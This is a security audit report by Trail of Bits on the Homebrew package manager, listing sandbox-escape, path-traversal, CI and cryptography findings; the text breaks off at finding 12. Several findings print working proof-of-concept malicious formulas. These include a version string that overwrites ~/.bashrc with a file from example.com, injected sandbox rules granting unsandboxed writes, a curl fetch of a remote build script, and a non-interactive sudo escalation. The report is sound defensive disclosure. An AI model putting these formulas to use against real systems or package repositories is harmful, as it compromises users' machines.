Homebrew

Security Assessment

July 26, 2024

Prepared for:
Patrick Linnane
Homebrew
Organized by the Open Technology Fund

Prepared by: **William Woodruff, Sam Alws, and William Tan**

About Trail of Bits

Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel.

We maintain an exhaustive list of publications at https://github.com/trailofbits/publications, with links to papers, presentations, public audit reports, and podcast appearances.

In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon.

We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom.

Trail of Bits also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash.

To keep up to date with our latest news and announcements, please follow @trailofbits on Twitter and explore our public repositories at https://github.com/trailofbits. To engage us directly, visit our "Contact" page at https://www.trailofbits.com/contact, or email us at info@trailofbits.com.

Trail of Bits, Inc.
228 Park Ave S #80688
New York, NY 10003
https://www.trailofbits.com
info@trailofbits.com

Notices and Remarks

Copyright and Distribution

Test Coverage Disclaimer

All activities undertaken by Trail of Bits in association with this project were performed in accordance with a statement of work and agreed upon project plan.

Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

Trail of Bits uses automated testing techniques to rapidly test the controls and security properties of software. These techniques augment our manual security review work, but each has its limitations: for example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. Their use is also limited by the time and resource constraints of a project.

Table of Contents

Project Summary

Contact Information

The following managers were associated with this project:

Dan Guido, Account Manager
dan@trailofbits.com

Jeff Braswell, Project Manager
jeff.braswell@trailofbits.com

The following engineers were associated with this project:

William Woodruff, Consultant
william.woodruff@trailofbits.com

Sam Alws, Consultant
sam.alws@trailofbits.com

William Tan, Consultant
william.tan@trailofbits.com

Project Timeline

The significant events and milestones of the project are listed below.

Date	Event
August 10, 2023	Pre-project kickoff call
August 21, 2023	Status update meeting #1
August 28, 2023	Delivery of report draft
August 28, 2023	Report readout meeting
July 26, 2024	Delivery of comprehensive report

Executive Summary

Engagement Overview

OTF engaged Trail of Bits to review the security of Homebrew, a package manager for MacOS and Linux.

A team of three consultants conducted the review from August 14 to August 25, 2023, for a total of six engineer-weeks of effort. Our testing efforts focused on the core package manager, along with Homebrew's use of CI/CD for build automation, as well as its newly released JSON API for formulae. With full access to source code and documentation, we performed static and dynamic testing of the codebases under scope, using automated and manual processes.

Observations and Impact

We found multiple issues allowing an attacker to escape the build sandbox (TOB-BREW-2, TOB-BREW-3, TOB-BREW-11, TOB-BREW-14), and other issues allowing an attacker to compromise the CI/CD workflow (TOB-BREW-18, TOB-BREW-19, TOB-BREW-23). In some cases, this can be done surreptitiously. We also found that Homebrew's threat model is often unclear and relies heavily on manual review.

Recommendations

Based on the codebase maturity evaluation and findings identified during the security review, Trail of Bits recommends that the Homebrew developers take the following steps:

- **Remediate the findings disclosed in this report.** These findings should be addressed as part of a direct remediation or as part of any refactor that may occur when addressing other recommendations.
- **Document Homebrew's security model.** It should be clearly written that, for example, Homebrew-core formulae are considered trusted while third-party formulae are not; formula definition files can execute unsandboxed code while formula builds are sandboxed; and casks are given a wide range of permissions and rely on manual review to ensure safety. Documenting Homebrew's security model would allow a beginning user to better understand the risks associated with using the software, and for developers to write code that lines up with the current security guarantees.

In addition to these recommendations, we have included a list of code-quality recommendations in appendix D.

Finding Severities and Categories

The following tables provide the number of findings by severity and category.

EXPOSURE ANALYSIS

Severity	*Count*
High	0
Medium	14
Low	2
Informational	7
Undetermined	2

CATEGORY BREAKDOWN

Category	*Count*
Access Controls	11
Cryptography	4
Data Validation	6
Error Handling	1
Patching	3

Project Goals

The engagement was scoped to provide a security assessment of Homebrew. Specifically, we sought to answer the following non-exhaustive list of questions:

- Are the dependencies used secure and up to date?
- Are the system architecture and design foundationally secure?
- Is the installation flow for packages implemented in a secure manner?
- Does the installation flow for packages correctly and securely leverage the formula REST API?
- Does the privacy-preserving analytics infrastructure deliver on privacy and security commitments?
- Is it possible to reveal private information or make the analytics infrastructure disclose private information?
- Are the sandboxing and isolation mechanisms implemented in a secure manner?
- Can the sandboxing and isolation mechanisms be manipulated to escape the isolating security controls and gain unauthorized access?
- Does the isolation and sandboxing process adequately prevent escapes and enable truthful reporting on the install state of software?
- Are REST API interactions signed and encrypted using cryptographic best practices?
- Are there any data leaks or data dumps to unknown or unauthorized sources?
- Can security constraints, especially in serving and downloading files and content, be bypassed?
- Are there areas within ownership and access that may be compromised or altered to cause adverse states, access, or exploitation?
- Could the system experience a denial of service?
- Are all inputs and system parameters properly validated?
- Does the codebase conform to industry best practices?
- Are there any areas of improvement for the CICD or SDLC?

Project Targets

The engagement involved a review and testing of the targets listed below.

brew

Repository	https://github.com/Homebrew/brew
Version	`237d1e783f7ee261beaba7d3f6bde22da7148b0a`
Type	YAML, Ruby, GNU Bash, POSIX sh
Platform	Mac, Linux

actions

Repository	https://github.com/Homebrew/actions
Version	`68e149155b7dada57303f52b421a4cb7e0638930`
Type	YAML, JS, GNU Bash, POSIX sh
Platform	Github Actions

formulae.brew.sh

Repository	https://github.com/Homebrew/formulae.brew.sh
Version	`62598db70ba46549b3bccca75797a113bf932aca`
Type	YAML, HTML, Ruby
Platform	Web

homebrew-test-bot

Repository	https://github.com/Homebrew/homebrew-test-bot
Version	`90e9913d07e6364bd3b53c6df55db4adbcf1dc26`
Type	YAML, Ruby
Platform	Mac, Linux

Project Coverage

This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches included the following:

- Use of Semgrep on the `brew`, `actions`, `formulae.brew.sh`, and `homebrew-test-bot` repositories
- Use of actionlint, which scans for Github Actions issues, on the `brew`, `actions`, `formulae.brew.sh`, and `homebrew-test-bot` repositories
- A manual review of the `brew`, `actions`, `formulae.brew.sh`, and `homebrew-test-bot` repositories, with a focus on the Project Goals
- A manual review of Homebrew's own unit tests and use of its own code quality tooling, including RuboCop and Sorbet

Coverage Limitations

Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. The following list outlines the coverage limitations of the engagement and indicates system elements that may warrant further review:

- We evaluated the Homebrew test suite for coverage, but not for overall thoroughness.
- We did not evaluate the completeness of Homebrew's logging information, and in particular whether this information would be sufficient to perform incident analysis on the CI/CD pipeline.
- We did not fully evaluate each of Homebrew's dependencies to ensure that they are secure and up to date.

Automated Testing

Trail of Bits uses automated techniques to extensively test the security properties of software. We use both open-source static analysis and fuzzing utilities, along with tools developed in house, to perform automated testing of source code and compiled software.

Test Harness Configuration

We used the following tools in the automated testing phase of this project:

Tool	Description	Policy
Semgrep	An open-source static analysis tool for finding bugs and enforcing code standards when editing or committing code and during build time	Appendix C
Actionlint	A tool that scans for Github Actions issues	Appendix C

Codebase Maturity Evaluation

Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs.

Category	Summary	Result
Arithmetic	Due to the nature of the project, Homebrew makes very limited use of arithmetic. We found no problems related to arithmetic.	**Not Applicable**
Auditing	Log density and quality of information logged seems sufficient. However, we did not try to verify if that is true for all execution paths and if all information required to perform incident response is always logged.	**Further Investigation Required**
Authentication / Access Controls	Homebrew's security model is often ambiguous and left undocumented. As mentioned in the Executive Summary, we recommend providing explicit documentation on Homebrew's security model. We found multiple ways for packages to escalate their privileges. Some require obviously compromised formula specification Ruby files (TOB-BREW-1, TOB-BREW-2, TOB-BREW-12, TOB-BREW-16). However, multiple findings allow for privilege escalations that could easily go unnoticed by maintainers (TOB-BREW-11, TOB-BREW-7, TOB-BREW-14, TOB-BREW-3, TOB-BREW-6).	**Weak**
Complexity Management	Homebrew's codebases are well-organized and readable. Functionality is divided up well among the classes, and the codebases generally avoid over-abstraction.	**Strong**
Configuration	We found issues related to the configuration of the Apple sandbox-exec system (TOB-BREW-11, TOB-BREW-14, TOB-BREW-3, TOB-BREW-2), of GitHub Actions workflows (TOB-BREW-18, TOB-BREW-19, TOB-BREW-23), and of Gemfiles (TOB-BREW-20). In general, many of our findings were connected in some way to insufficient validation,	**Weak**

	normalization, or escaping of configuration inputs.	
Cryptography and Key Management	We found four issues related to the choice of cryptographic functions and primitives (TOB-BREW-5, TOB-BREW-21, TOB-BREW-24, TOB-BREW-25). Aside from these issues, we found that Homebrew generally performs all currently implemented cryptography securely.	**Moderate**
Data Handling	In general, user inputs are trusted extensively in the Homebrew codebases. We found multiple issues where inputs were not correctly validated, resulting in string injection and path traversal vulnerabilities (TOB-BREW-1, TOB-BREW-2, TOB-BREW-4, TOB-BREW-16). We found issues where functions or commands that should be run only on trusted inputs were instead run on untrusted inputs (TOB-BREW-7, TOB-BREW-9, and somewhat TOB-BREW-6). We also found that certain formula resources are not validated (TOB-BREW-8) and that certain formula sources that should be blocked (SFTP, SCP, IMAP, FTPS, etc.) are not blocked (TOB-BREW-13).	**Weak**
Documentation	Homebrew provides sufficient documentation for users and for package developers. As for the codebases, comments can be sparse in some areas, but there are generally enough comments (and well-named variables and functions) to understand the code.	**Satisfactory**
Maintenance	In `homebrew-core`, the Brew Test Bot is used to automatically open PRs to bump packages, as well as to test PR builds. In other Homebrew repositories, Dependabot is used to automatically bump dependencies in Gemfiles. However, we found some issues with Homebrew's dependency management: Homebrew supports only end-of-life versions of Ruby (TOB-BREW-15) and uses unpinned dependencies and workflows (TOB-BREW-20, TOB-BREW-19).	**Moderate**
Memory Safety and Error Handling	In general, Homebrew correctly checks for errors and handles them by exiting out from the current process. However, we found one issue where errors are ignored when deleting files (TOB-BREW-17).	**Satisfactory**

Testing and Verification	The codebase is covered by a large number of tests. We determined that these tests cover approximately 66% of the Homebrew/brew codebase, including much of the core application logic. However, we found that the remaining 34% of the codebase could use coverage.	**Moderate**

Summary of Findings

The table below summarizes the findings of the review, including type and severity details.

ID	Title	Type	Severity
1	Path traversal during file caching	Access Controls	**Medium**
2	Sandbox escape via string injection	Access Controls	**Medium**
3	Allow default rule in sandbox configuration is overly permissive	Access Controls	**Low**
4	Special characters are allowed in package names and versions	Data Validation	**Informational**
5	Use of weak cryptographic digest in Formulary namespaces	Cryptography	**Medium**
6	Extraction is not sandboxed	Access Controls	**Medium**
7	Use of ldd on untrusted inputs	Data Validation	**Medium**
8	Formulas allow for external resources to be downloaded during the install step	Access Controls	**Medium**
9	Use of Marshal	Data Validation	**Undetermined**
10	Lack of sandboxing on Linux	Access Controls	**Medium**
11	Sandbox escape through domain socket pivot on macOS	Access Controls	**Medium**
12	Formula privilege escalation through sudo	Access Controls	**Medium**

13	Formula loading through SFTP, SCP, and other protocols	Access Controls	**Medium**
14	Sandbox allows changing permissions for important directories	Access Controls	**Medium**
15	Homebrew only supports end-of-life versions of Ruby	Patching	**Informational**
16	Path traversal during bottling	Data Validation	**Informational**
17	FileUtils.rm_rf does not check if files are deleted	Error Handling	**Undetermined**
18	Use of pull_request_target in GitHub Actions workflows	Access Controls	**Medium**
19	Use of unpinned third-party workflow	Patching	**Low**
20	Unpinned dependencies in formulae.brew.sh	Patching	**Medium**
21	Use of RSA for JSON API signing	Cryptography	**Informational**
22	Bottles beginning “-” can lead to unintended options getting passed to rm	Data Validation	**Informational**
23	Code injection through inputs in multiple actions	Data Validation	**Medium**
24	Use of PGP for commit signing	Cryptography	**Informational**
25	Unnecessary domain separation between signing key and key ID	Cryptography	**Informational**

Detailed Findings

1. Path traversal during file caching	
Severity: **Medium**	Difficulty: **Low**
Type: Access Controls	Finding ID: TOB-BREW-1
Target: `brew/Library/Homebrew/download_strategy.rb`	

Description

A path traversal when creating symlinks to cached files allows a malicious formula to create a symlink in an arbitrary location to a file with arbitrary contents during formula installation.

The following code determines where to place a symlink to a cached downloaded file.

```
def symlink_location
  return @symlink_location if defined?(@symlink_location)

  ext = Pathname(parse_basename(url)).extname
  @symlink_location = @cache/"#{name}--#{version}#{ext}"
end
```

Figure 1.1: Code to generate symlink location (`brew/Library/Homebrew/download_strategy.rb:287–292`)

However, a formula's version may contain special characters, such as dots and slashes (see also TOB-BREW-4). This allows for a path traversal.

Exploit Scenario

An attacker creates a pull request on `homebrew-core` attempting to add the following formula:

```
# modifyBashrc.rb
class Modifybashrc < Formula
  url "https://example.com/files/.bashrc"
  version "/../../../../.bashrc"
end
```

Figure 1.2: Malicious formula definition that overwrites `.bashrc`

He then hosts a malicious `.bashrc` file on `https://example.com/files/.bashrc`. Whenever this formula is built, the malicious `.bashrc` file will be downloaded, and a symlink from `~/.bashrc` to the downloaded file will be created.

In this case, it would be fairly obvious from the package definition that it is malicious, so the maintainers would likely be able to catch it early. The attacker may be able to avoid this by setting the version surreptitiously using Ruby metaprogramming tricks, but this would be fairly difficult.

Recommendations

Short term, remove any special characters from the `version` name before using it when creating the `@symlink_location` path. Preferably, also disallow formulas from having these special characters in their `version` names in the first place (see TOB-BREW-4).

Long term, audit any uses of user-inputted strings to create paths. Ensure that the input is properly sanitized before being used.

2. Sandbox escape via string injection

Severity: **Medium**	Difficulty: **Low**
Type: Access Controls	Finding ID: TOB-BREW-2
Target: `brew/Library/Homebrew/sandbox.rb`	

Description

Homebrew creates its sandbox configuration file in a way that is vulnerable to string injection.

The following are examples of lines added to the sandbox file that are vulnerable to injection.

```
60    allow_write_path "#{Dir.home(ENV.fetch("USER"))}/.cvspass"
      ...
69    allow_write_path formula.rack
```

Figure 2.1: Vulnerable sandbox config additions (`brew/Library/Homebrew/sandbox.rb:60,69`)

Because `formula.rack` is written directly to the configuration file, a formula with a double quote in its name (which can be achieved by setting the `@name` variable in the `initialize` function) can "break out" of its portion of the sandbox configuration file and write its own custom rules allowing itself permissions that it should not have.

Sandboxing will also break if the installing user's home directory has a path with a double quote in it, or if the Homebrew Cellar has a path with a double quote in it, although these scenarios are far less likely.

Exploit Scenario

An attacker creates a pull request on `homebrew-core` attempting to add the following formula:

```
# breakout.rb
class Breakout < Formula
  url "https://example.com/example-1.0.tar.gz"
  def initialize(name, path, spec, alias_path: nil, tap: nil, force_bottle: false)
    super
    @name = "\"))\n(allow file-write* (subpath \"/\"))\n(allow file-write-setugid
(subpath \"/\"))\n(allow file-read-data (subpath \"/dummy"
    # the dummy rule at the end is needed because trailing /'s get stripped
  end
```

```
  def install
    system "make", "install"
  end
end
```

Figure 2.2: Malicious formula that breaks out of its sandbox

When this file is built, the following sandbox configuration file is generated (malicious portions are highlighted in red):

```
(version 1)
(debug deny) ; log all denied operations to /var/log/system.log
(allow file-write* (subpath "/private/tmp"))
(allow file-write-setugid (subpath "/private/tmp"))
(allow file-write* (subpath "/private/var/tmp"))
(allow file-write-setugid (subpath "/private/var/tmp"))
(allow file-write* (regex #"^/private/var/folders/[^/]+/[^/]+/[C,T]/"))
(allow file-write-setugid (regex #"^/private/var/folders/[^/]+/[^/]+/[C,T]/"))
(allow file-write* (subpath "/private/tmp"))
(allow file-write-setugid (subpath "/private/tmp"))
(allow file-write* (subpath "/Users/sam/Library/Caches/Homebrew"))
(allow file-write-setugid (subpath "/Users/sam/Library/Caches/Homebrew"))
(allow file-write* (subpath "/Users/sam/Library/Logs/Homebrew/"))
(allow file-write* (subpath "/"))
(allow file-write-setugid (subpath "/"))
(allow file-read-data (subpath "/dummy"))
(allow file-write-setugid (subpath "/Users/sam/Library/Logs/Homebrew/"))
(allow file-write* (subpath "/"))
(allow file-write-setugid (subpath "/"))
(allow file-read-data (subpath "/dummy"))
(allow file-write* (subpath "/Users/sam/.cvspass"))
(allow file-write-setugid (subpath "/Users/sam/.cvspass"))
(allow file-write* (subpath "/Users/sam/.fossil"))
(allow file-write-setugid (subpath "/Users/sam/.fossil"))
(allow file-write* (subpath "/Users/sam/.fossil-journal"))
(allow file-write-setugid (subpath "/Users/sam/.fossil-journal"))
(allow file-write* (subpath "/Users/sam/Library/Developer"))
(allow file-write-setugid (subpath "/Users/sam/Library/Developer"))
(allow file-write* (subpath "/opt/homebrew/Cellar/"))
(allow file-write* (subpath "/"))
(allow file-write-setugid (subpath "/"))
(allow file-read-data (subpath "/dummy"))
(allow file-write-setugid (subpath "/opt/homebrew/Cellar/"))
(allow file-write* (subpath "/"))
(allow file-write-setugid (subpath "/"))
(allow file-read-data (subpath "/dummy"))
(allow file-write* (subpath "/opt/homebrew/etc"))
(allow file-write-setugid (subpath "/opt/homebrew/etc"))
(allow file-write* (subpath "/opt/homebrew/var"))
(allow file-write-setugid (subpath "/opt/homebrew/var"))
(allow file-write*
    (literal "/dev/ptmx")
    (literal "/dev/dtracehelper")
    (literal "/dev/null")
    (literal "/dev/random")
```

```
    (literal "/dev/zero")
    (regex #"^/dev/fd/[0-9]+$")
    (regex #"^/dev/tty[a-z0-9]*$")
    )
(deny file-write*) ; deny non-allowlist file write operations
(allow process-exec
    (literal "/bin/ps")
    (with no-sandbox)
    ) ; allow certain processes running without sandbox
(allow default) ; allow everything else
```

Figure 2.3: Sandbox configuration file for `Breakout` formula (malicious lines are highlighted)

Now `make install` is run without any sandboxing, and the attacker gains arbitrary unsandboxed code execution on the installing machine.

In this case, it would be fairly obvious from the package definition that the package is malicious, so the maintainers would likely be able to catch it early. The attacker may be able to avoid this by setting the `@name` variable surreptitiously using Ruby metaprogramming tricks, but this would be fairly difficult.

Recommendations

Short term, modify `allow_write_path` so that it checks for special characters (quotes, newlines, etc.) in the path before adding its rules. In addition, also ensure that special characters are removed from a formula's `@name` before creating a formula's keg path. Preferably, also disallow formulas from having these special characters in their names in the first place (see TOB-BREW-4).

Long term, audit any uses of user-inputted strings to create paths. Ensure that the input is properly sanitized before being used.

3. Allow default rule in sandbox configuration is overly permissive	
Severity: **Low**	Difficulty: **Low**
Type: Access Controls	Finding ID: TOB-BREW-3
Target: `brew/Library/Homebrew/sandbox.rb`	

Description

Currently, the sandbox configuration for Homebrew includes the rule (`allow default`), which leaves some of Apple's sandboxing features unused, and which allows formula build scripts to have multiple permissions that they do not need:

- Build scripts have permission to send signals to processes outside of their process group. This allows them to kill processes belonging to the user.
- Build scripts have permission to send network requests. Aside from allowing for file downloads without integrity checks (see TOB-BREW-8), this also allows build scripts to send requests to localhost ports. This could potentially allow for formulas to exploit vulnerable software running locally, and to access ports that are ordinarily blocked from external attackers by the firewall.
- Build scripts have permission to reboot the host machine. This ability is mitigated by the fact that, typically, the user running `brew install` does not have permission to call `reboot`, meaning that the build script cannot call `reboot` either.

Exploit Scenario

An attacker contrives a formula that interacts with the local system via signals or local network requests during the build period, potentially allowing code within the sandboxed build script to pivot outside of the sandbox.

Recommendations

Go through Apple sandboxing documentation (third-party documentation may be necessary) and consider which operations can be blocked, banning any that are not needed for Homebrew formula builds.

References

- Unofficial third-party documentation on Apple sandboxing: This is the best documentation we could find on the subject.

4. Special characters are allowed in package names and versions

Severity: **Informational**	Difficulty: **High**
Type: Data Validation	Finding ID: TOB-BREW-4
Target: Throughout the `brew` codebase	

Description

Homebrew needlessly allows for special characters in package names and versions. While this is not directly an issue on its own, it leads to other issues such as TOB-BREW-1, TOB-BREW-2, TOB-BREW-16, and TOB-BREW-22. Disallowing special characters would make path traversal and string injection attacks much more difficult.

Recommendations

Short term, disallow special characters in formula names and versions. Do not put this check into the `Formula` class because formula definitions can overwrite `Formula` class methods. Instead, perform the check whenever a formula is about to be used.

Long term, ensure that similar sanitization is done on any other potentially malicious values.

5. Use of weak cryptographic digest in Formulary namespaces	
Severity: **Medium**	Difficulty: **Medium**
Type: Cryptography	Finding ID: TOB-BREW-5
Target: `brew/Library/Homebrew/formulary.rb`	

Description

Homebrew uses two dynamic namespaces to cache loaded formulae: `FormulaNamespace` (for formulae loaded from their Ruby definitions) and `FormulaNamespaceAPI` (for formulae loaded from their JSON API specifications). Both of these create unique keys under their namespaces by taking the MD5 digest of a unique identifier for an underlying formula (one that cannot directly be embedded in a Ruby identifier).

```
namespace = "FormulaNamespace#{Digest::MD5.hexdigest(path.to_s)}"
```

Figure 5.1: Loading into `FormulaNamespace` with a digested identifier

```
namespace = :"FormulaNamespaceAPI#{Digest::MD5.hexdigest(name)}"
```

Figure 5.2: Loading into `FormulaNamespaceAPI` with a digested identifier

MD5 is considered broken in terms of collision resistance, with collisions being computable on basic consumer hardware.

Exploit Scenario

An attacker contrives a malicious formula whose path (for local formulae) or name (for API formulae), when digested, collides with a legitimate formula. When both formulae are loaded, the attacker may be able to induce confusion within Homebrew about which formula is being operated on.

The attacker's job of finding a collision is made slightly more difficult by restrictions in their input space: they can use only characters that are valid in a formula name (for `FormulaNamespaceAPI`) or in a valid formula path (for `FormulaNamespace`).

Recommendations

Switch to a digest function that is considered resistant to collisions, such as SHA-256. Alternatively, develop a path or name normalization scheme that produces valid Ruby identifiers, so that a hash function does not need to be used.

6. Extraction is not sandboxed

Severity: **Medium**	Difficulty: **High**
Type: Access Controls	Finding ID: TOB-BREW-6
Target: `brew/Library/Homebrew/formula_installer.rb`, `brew/Library/Homebrew/download_strategy.rb`	

Description
Homebrew supports many different archive formats for source archives that should be considered untrustworthy. The unpacking process should also be run under a sandbox in order to prevent intentional or unintentional file writes outside of expected directories.

```
# @api public
def stage(&block)
  UnpackStrategy.detect(cached_location,
                        prioritize_extension: true,
                        ref_type: @ref_type, ref: @ref)
                .extract_nestedly(basename:             basename,
                                  prioritize_extension: true,
                                  verbose:              verbose? && !quiet?)
  chdir(&block) if block
end
```

Figure 6.1: This `stage` function unpacks potentially untrusted source archives without a sandbox

Exploit Scenario
An attacker constructs a source archive using one of the many supported formats that can induce an arbitrary file write. We analyzed a few of the common formats that have allowed this type of attack in the past (namely tar, 7z, and rar), which all now seem to mitigate this type of attack, but future unpackers or latent bugs in the existing unpackers may allow for an attacker to perform an arbitrary file write.

Recommendations
Short term, Homebrew should ensure that the supported unpackers protect against this type of attack.

Long term, Homebrew should sandbox the unpacking process.

7. Use of ldd on untrusted inputs	
Severity: **Medium**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-BREW-7
Target: `brew/Library/Homebrew/os/linux/elf.rb`	

Description

On Linux, Homebrew uses `ldd` to list the dynamic dependencies of an executable (i.e., the shared libraries that it declares as dependencies):

```
ldd = DevelopmentTools.locate "ldd"
ldd_output = Utils.popen_read(ldd, path.expand_path.to_s).split("\n")
```

Figure 7.1: Using `ldd` to collect shared object dependencies

This metadata is produced for all ELF files in a binary, as part of providing the Linux equivalent of Homebrew-on-Ruby's binary relocation functionality.

Running `ldd` can result in arbitrary code execution when a binary has a custom ELF interpreter specified. This may allow a malicious bottle to run arbitrary code outside of the context of the installing sandbox (since relocation is not sandboxed) with relative stealth (since no code is obviously executed).

Exploit Scenario

An attacker contrives an ELF binary with a custom `.interp` section, enabling arbitrary code execution. This execution occurs surreptitiously during Homebrew's binary relocation phase, before the user expects any formula-provided executables to run.

Recommendations

Short term, Homebrew can check an ELF's interpreter (in the `.interp` section) before loading it with `ldd` and, if it appears to be a non-standard interpreter, refuse to handle it.

Long term, Homebrew can replace `ldd` with similar inspection tools, such as `readelf` or `objdump`. Both are capable of collecting a binary's dynamic linkages without arbitrary code execution.

8. Formulas allow for external resources to be downloaded during the install step

Severity: **Medium**	Difficulty: **High**
Type: Access Controls	Finding ID: TOB-BREW-8
Target: `brew/Library/Homebrew/formula_installer.rb`	

Description

If a package downloads external resources during the install phase of the process, the integrity of the files is never validated by `brew` itself. This could lead to a case where the upstream resource is changed unexpectedly or maliciously, which could also affect the reproducibility of the build.

```
class InstallNetwork < Formula
  desc ""
  homepage ""
  url "https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz"
  version "0.0.0"
  sha256 "8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20"
  license ""

  def install
    system "curl", "-L", "-o", "#{prefix}/build.sh",
"https://example.com/files/build.sh"
  end

  test do
    system "false"
  end
end
```

Figure 8.1: Example formula that downloads unverified external resources

Exploit Scenario

An attacker takes over an unverified upstream resource and injects malicious code into a `brew bottle` while it is being built.

Recommendations

Short term, Homebrew should check that no existing packages download unexpected resources over the network that are not explicitly declared.

Long term, Homebrew should pre-download the extra required resources, (after verifying their integrity in an earlier step) and sandbox network requests in the build/post-install stage. This will ensure that packages do not inadvertently download resources.

9. Use of Marshal	
Severity: **Undetermined**	Difficulty: **Low**
Type: Data Validation	Finding ID: TOB-BREW-9
Target: `brew/Library/Homebrew/dependency.rb`	

Description

The `Dependency` class defines `_dump` and `_load` APIs that use Ruby's `Marshal` internally.

```
# Define marshaling semantics because we cannot serialize @env_proc.
def _dump(*)
  Marshal.dump([name, tags])
end

def self._load(marshaled)
  new(*Marshal.load(marshaled)) # rubocop:disable Security/MarshalLoad
end
```

Figure 9.1: `Dependency._dump` and `Dependency._load`

Marshal is a fundamentally dangerous serialization format, by design: it evaluates arbitrary Ruby objects on deserialization, allowing an attacker to easily form Marshalled inputs that run arbitrary code.

After an initial analysis, Trail of Bits was unable to determine any parts of the code where these `Dependency` APIs are used. However, due to Ruby's dynamic nature, we are unable to state confidently that they are not called indirectly somewhere in the codebase.

Exploit Scenario

If an attacker manages to invoke `Dependency._load` with a controlled payload, they may be able to execute arbitrary code surreptitiously outside of the context of an installation sandbox.

Recommendations

Short term, if possible, replace these uses of `Marshal` with a safer serialization format (such as JSON).

Long term, evaluate the need for this API; if it is unneeded, remove it entirely.

10. Lack of sandboxing on Linux	
Severity: **Medium**	Difficulty: **Low**
Type: Access Controls	Finding ID: TOB-BREW-10
Target: `brew/Library/Homebrew/extend/os/sandbox.rb`	

Description
There is a lack of sandboxing at all on Linux.

```
# typed: strict
# frozen_string_literal: true

require "extend/os/mac/sandbox" if OS.mac?
```

Figure 10.1: Sandbox implemented only for MacOS

Exploit Scenario
Packages built for Linux may intentionally or unintentionally overwrite other files on the system, which can potentially allow packages to clobber each other or compromise the CI system building Linux packages, especially in the case of self-hosted Linux-based runners.

Recommendations
Homebrew should implement a basic Linux sandbox using either bubblewrap, nsjail, or some other lightweight, namespace-based Linux sandboxing mechanism.

11. Sandbox escape through domain socket pivot on macOS

Severity: **Medium**	Difficulty: **Medium**
Type: Access Controls	Finding ID: TOB-BREW-11
Target: `brew/Library/Homebrew/sandbox.rb`	

Description

On macOS, some sandboxes may be created with special exceptions for various system and Homebrew-specific temporary directories:

```
def allow_write_temp_and_cache
  allow_write_path "/private/tmp"
  allow_write_path "/private/var/tmp"
  allow_write "^/private/var/folders/[^/]+/[^/]+/[C,T]/", type: :regex
  allow_write_path HOMEBREW_TEMP
  allow_write_path HOMEBREW_CACHE
end
```

Figure 11.1: Sandbox exceptions for temporary directories on macOS

In particular, `allow_write_temp_and_cache` is used in both the `build` and `post_install` phases of formula installation:

```
sandbox = Sandbox.new
formula.logs.mkpath
sandbox.record_log(formula.logs/"postinstall.sandbox.log")
sandbox.allow_write_temp_and_cache
sandbox.allow_write_log(formula)
```

Figure 11.2: Sandbox exceptions during post-install

The system temporary directories excepted under these rules typically contain Unix domain sockets for running services, which in turn can be written to. Depending on the services being used, a malicious formula may be able to perform a sandbox escape by connecting to one of these domain sockets and sending service-specific information to be interpreted as system commands, instructions to perform I/O, etc.

Exploit Scenario

A targeted user has `tmux`, a popular terminal multiplexer, installed. `tmux` runs as a background daemon with multiple connecting clients, servicing connections through a domain socket typically exposed at `/private/tmp/tmux-${UID}`, where `${UID}` is the running user's numeric identifier. Any process that can write to this domain socket can

send commands to `tmux`, including the `send-keys` command, which is capable of running arbitrary shell commands.

To perform a sandbox escape, an attacker discovers useful domain sockets (like `tmux`) in the temporary directories that the sandbox has access to. Using `tmux` as an example, they then send commands through the socket, causing the `tmux` daemon (or a subprocess of the daemon) to run arbitrary commands or perform I/O outside of the sandbox.

This attack requires the target to be running an independent service or daemon that exposes a socket via a system temporary directory. However, this is a common configuration (such as with `tmux` by default).

Recommendations

Short-term, evaluate the ability of the macOS sandbox rules to further restrict Unix domain socket access in these directories. In particular, the `network-outbound` rule may be able to perform restrictions on `unix-socket` patterns.

Long term, consider eliminating these paths from the sandboxed processes entirely, and instead inject `TMPDIR` and similar environment variables that point to an entirely Homebrew-controlled temporary directory (such as a dedicated one under `HOMEBREW_TEMP`).

12. Formula privilege escalation through sudo

Severity: **Medium**	Difficulty: **High**
Type: Access Controls	Finding ID: TOB-BREW-12
Target: `brew`	

Description

Formula definitions can run commands as the root user using `sudo --non-interactive`, assuming that the user has used `sudo` earlier in the shell history.

Exploit Scenario

The following figure shows an example of a malicious package that can take advantage of this issue:

```
# privilegeEscalation.rb
class Privilegeescalation < Formula
  url "https://ftp.gnu.org/gnu/hello/hello-2.12.1.tar.gz"
  sha256 "8d99142afd92576f30b0cd7cb42a8dc6809998bc5d607d88761f512e26c7db20"
  license "GPL-3.0-or-later"
  def install
    ENV.append "LDFLAGS", "-liconv" if OS.mac?
    system "./configure", "--disable-dependency-tracking",
                          "--disable-silent-rules",
                          "--prefix=#{prefix}"
    system "make", "install"
  end
end
system "sudo", "--non-interactive", "touch", "/tmp/pwned"
```

Figure 12.1: Sandbox implemented only for MacOS

Here is what happens when this package is installed:

```
$ sudo do_unrelated_thing
Password:
...
...
$ brew install ./privilegeEscalation.rb
...
$ ls -l /tmp/pwned
-rw-r--r--  1 root  wheel  0 Aug 25 11:54 /tmp/pwned
```

Figure 12.2: Installing the malicious package

Recommendations

